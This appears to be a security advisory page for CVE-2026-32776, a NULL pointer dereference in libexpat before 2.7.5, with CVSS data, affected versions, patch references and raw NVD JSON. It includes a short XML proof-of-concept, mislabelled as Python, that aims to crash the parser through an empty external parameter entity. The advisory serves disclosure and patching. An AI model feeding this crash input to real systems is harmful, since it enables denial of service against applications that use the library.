Security Vulnerability Report
中文
CVE-2026-32776 CVSS 4.0 MEDIUM

CVE-2026-32776

Published: 2026-03-16 14:19:45
Last Modified: 2026-03-17 15:52:09

Description

libexpat before 2.7.5 allows a NULL pointer dereference with empty external parameter entity content.

CVSS Details

CVSS Score
4.0
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L

Configurations (Affected Products)

cpe:2.3:a:libexpat_project:libexpat:*:*:*:*:*:*:*:* - VULNERABLE
libexpat < 2.7.5

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
<!-- PoC for CVE-2026-32776: libexpat NULL Pointer Dereference --> <!-- Trigger with empty external parameter entity content --> <?xml version="1.0"?> <!DOCTYPE root [ <!ENTITY % ext SYSTEM ""> %ext; ]> <root> <test>PoC for NULL pointer dereference</test> </root>

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2026-32776", "sourceIdentifier": "[email protected]", "published": "2026-03-16T14:19:44.600", "lastModified": "2026-03-17T15:52:09.023", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "libexpat before 2.7.5 allows a NULL pointer dereference with empty external parameter entity content."}, {"lang": "es", "value": "libexpat antes de 2.7.5 permite una desreferencia de puntero NULL con contenido de entidad de parámetro externo vacío."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L", "baseScore": 4.0, "baseSeverity": "MEDIUM", "attackVector": "LOCAL", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "NONE", "availabilityImpact": "LOW"}, "exploitabilityScore": 2.5, "impactScore": 1.4}, {"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H", "baseScore": 5.5, "baseSeverity": "MEDIUM", "attackVector": "LOCAL", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "NONE", "availabilityImpact": "HIGH"}, "exploitabilityScore": 1.8, "impactScore": 3.6}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-476"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:libexpat_project:libexpat:*:*:*:*:*:*:*:*", "versionEndExcluding": "2.7.5", "matchCriteriaId": "BE95FCA4-11DD-4E66-8259-4884F323D57B"}]}]}], "references": [{"url": "https://github.com/libexpat/libexpat/pull/1158", "source": "[email protected]", "tags": ["Issue Tracking", "Patch"]}, {"url": "https://github.com/libexpat/libexpat/pull/1159", "source": "[email protected]", "tags": ["Issue Tracking", "Patch"]}]}}